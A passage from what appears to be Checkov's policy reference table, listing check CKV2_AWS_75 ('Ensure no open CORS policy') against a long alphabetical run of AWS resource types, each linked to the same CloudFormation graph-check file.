308 | CKV2_AWS_75 | resource | aws_appsync_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 309 | CKV2_AWS_75 | resource | aws_athena_data_catalog | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 310 | CKV2_AWS_75 | resource | aws_athena_database | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 311 | CKV2_AWS_75 | resource | aws_athena_named_query | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 312 | CKV2_AWS_75 | resource | aws_athena_prepared_statement | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 313 | CKV2_AWS_75 | resource | aws_athena_workgroup | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 314 | CKV2_AWS_75 | resource | aws_auditmanager_account_registration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 315 | CKV2_AWS_75 | resource | aws_auditmanager_assessment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 316 | CKV2_AWS_75 | resource | aws_auditmanager_assessment_delegation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 317 | CKV2_AWS_75 | resource | aws_auditmanager_assessment_report | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 318 | CKV2_AWS_75 | resource | aws_auditmanager_control | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 319 | CKV2_AWS_75 | resource | aws_auditmanager_framework | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 320 | CKV2_AWS_75 | resource | aws_auditmanager_framework_share | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 321 | CKV2_AWS_75 | resource | aws_auditmanager_organization_admin_account_registration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 322 | CKV2_AWS_75 | resource | aws_autoscaling_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 323 | CKV2_AWS_75 | resource | aws_autoscaling_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 324 | CKV2_AWS_75 | resource | aws_autoscaling_group_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 325 | CKV2_AWS_75 | resource | aws_autoscaling_lifecycle_hook | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 326 | CKV2_AWS_75 | resource | aws_autoscaling_notification | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 327 | CKV2_AWS_75 | resource | aws_autoscaling_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 328 | CKV2_AWS_75 | resource | aws_autoscaling_schedule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 329 | CKV2_AWS_75 | resource | aws_autoscaling_traffic_source_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 330 | CKV2_AWS_75 | resource | aws_autoscalingplans_scaling_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 331 | CKV2_AWS_75 | resource | aws_az_info | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 332 | CKV2_AWS_75 | resource | aws_backup_framework | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 333 | CKV2_AWS_75 | resource | aws_backup_global_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 334 | CKV2_AWS_75 | resource | aws_backup_logically_air_gapped_vault | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 335 | CKV2_AWS_75 | resource | aws_backup_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 336 | CKV2_AWS_75 | resource | aws_backup_region_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 337 | CKV2_AWS_75 | resource | aws_backup_report_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 338 | CKV2_AWS_75 | resource | aws_backup_restore_testing_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 339 | CKV2_AWS_75 | resource | aws_backup_restore_testing_selection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 340 | CKV2_AWS_75 | resource | aws_backup_selection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 341 | CKV2_AWS_75 | resource | aws_backup_vault | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 342 | CKV2_AWS_75 | resource | aws_backup_vault_lock_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 343 | CKV2_AWS_75 | resource | aws_backup_vault_notifications | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 344 | CKV2_AWS_75 | resource | aws_backup_vault_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 345 | CKV2_AWS_75 | resource | aws_batch_compute_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 346 | CKV2_AWS_75 | resource | aws_batch_job_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 347 | CKV2_AWS_75 | resource | aws_batch_job_queue | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 348 | CKV2_AWS_75 | resource | aws_batch_scheduling_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 349 | CKV2_AWS_75 | resource | aws_bcmdataexports_export | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 350 | CKV2_AWS_75 | resource | aws_bedrock_custom_model | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 351 | CKV2_AWS_75 | resource | aws_bedrock_guardrail | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 352 | CKV2_AWS_75 | resource | aws_bedrock_guardrail_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 353 | CKV2_AWS_75 | resource | aws_bedrock_inference_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 354 | CKV2_AWS_75 | resource | aws_bedrock_model_invocation_logging_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 355 | CKV2_AWS_75 | resource | aws_bedrock_provisioned_model_throughput | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 356 | CKV2_AWS_75 | resource | aws_bedrockagent_agent | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 357 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_action_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 358 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 359 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_collaborator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 360 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_knowledge_base_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 361 | CKV2_AWS_75 | resource | aws_bedrockagent_data_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 362 | CKV2_AWS_75 | resource | aws_bedrockagent_knowledge_base | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 363 | CKV2_AWS_75 | resource | aws_budgets_budget | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 364 | CKV2_AWS_75 | resource | aws_budgets_budget_action | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 365 | CKV2_AWS_75 | resource | aws_caller_info | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 366 | CKV2_AWS_75 | resource | aws_ce_anomaly_monitor | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 367 | CKV2_AWS_75 | resource | aws_ce_anomaly_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 368 | CKV2_AWS_75 | resource | aws_ce_cost_allocation_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 369 | CKV2_AWS_75 | resource | aws_ce_cost_category | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 370 | CKV2_AWS_75 | resource | aws_chatbot_slack_channel_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 371 | CKV2_AWS_75 | resource | aws_chatbot_teams_channel_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 372 | CKV2_AWS_75 | resource | aws_chime_voice_connector | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 373 | CKV2_AWS_75 | resource | aws_chime_voice_connector_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 374 | CKV2_AWS_75 | resource | aws_chime_voice_connector_logging | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 375 | CKV2_AWS_75 | resource | aws_chime_voice_connector_origination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 376 | CKV2_AWS_75 | resource | aws_chime_voice_connector_streaming | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 377 | CKV2_AWS_75 | resource | aws_chime_voice_connector_termination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 378 | CKV2_AWS_75 | resource | aws_chime_voice_connector_termination_credentials | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 379 | CKV2_AWS_75 | resource | aws_chimesdkmediapipelines_media_insights_pipeline_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 380 | CKV2_AWS_75 | resource | aws_chimesdkvoice_global_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 381 | CKV2_AWS_75 | resource | aws_chimesdkvoice_sip_media_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 382 | CKV2_AWS_75 | resource | aws_chimesdkvoice_sip_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 383 | CKV2_AWS_75 | resource | aws_chimesdkvoice_voice_profile_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 384 | CKV2_AWS_75 | resource | aws_cleanrooms_collaboration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 385 | CKV2_AWS_75 | resource | aws_cleanrooms_configured_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 386 | CKV2_AWS_75 | resource | aws_cleanrooms_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 387 | CKV2_AWS_75 | resource | aws_cloud9_environment_ec2 | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 388 | CKV2_AWS_75 | resource | aws_cloud9_environment_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 389 | CKV2_AWS_75 | resource | aws_cloudcontrolapi_resource | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 390 | CKV2_AWS_75 | resource | aws_cloudformation_stack | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 391 | CKV2_AWS_75 | resource | aws_cloudformation_stack_instances | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 392 | CKV2_AWS_75 | resource | aws_cloudformation_stack_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 393 | CKV2_AWS_75 | resource | aws_cloudformation_stack_set_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 394 | CKV2_AWS_75 | resource | aws_cloudformation_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 395 | CKV2_AWS_75 | resource | aws_cloudfront_cache_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 396 | CKV2_AWS_75 | resource | aws_cloudfront_continuous_deployment_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 397 | CKV2_AWS_75 | resource | aws_cloudfront_distribution | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 398 | CKV2_AWS_75 | resource | aws_cloudfront_field_level_encryption_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 399 | CKV2_AWS_75 | resource | aws_cloudfront_field_level_encryption_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 400 | CKV2_AWS_75 | resource | aws_cloudfront_function | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 401 | CKV2_AWS_75 | resource | aws_cloudfront_key_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 402 | CKV2_AWS_75 | resource | aws_cloudfront_key_value_store | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 403 | CKV2_AWS_75 | resource | aws_cloudfront_monitoring_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 404 | CKV2_AWS_75 | resource | aws_cloudfront_origin_access_control | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 405 | CKV2_AWS_75 | resource | aws_cloudfront_origin_access_identity | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 406 | CKV2_AWS_75 | resource | aws_cloudfront_origin_request_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 407 | CKV2_AWS_75 | resource | aws_cloudfront_public_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 408 | CKV2_AWS_75 | resource | aws_cloudfront_realtime_log_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 409 | CKV2_AWS_75 | resource | aws_cloudfront_response_headers_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 410 | CKV2_AWS_75 | resource | aws_cloudfront_vpc_origin | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 411 | CKV2_AWS_75 | resource | aws_cloudfrontkeyvaluestore_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 412 | CKV2_AWS_75 | resource | aws_cloudhsm_v2_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 413 | CKV2_AWS_75 | resource | aws_cloudhsm_v2_hsm | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 414 | CKV2_AWS_75 | resource | aws_cloudsearch_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 415 | CKV2_AWS_75 | resource | aws_cloudsearch_domain_service_access_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 416 | CKV2_AWS_75 | resource | aws_cloudtrail | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 417 | CKV2_AWS_75 | resource | aws_cloudtrail_event_data_store | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 418 | CKV2_AWS_75 | resource | aws_cloudtrail_organization_delegated_admin_account | Ensure no open CORS policy | Cloudformation | 